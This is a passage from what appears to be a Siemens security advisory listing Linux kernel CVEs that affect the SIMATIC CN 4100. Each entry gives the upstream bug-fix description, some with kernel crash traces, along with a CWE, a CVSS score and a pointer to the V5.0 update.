IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 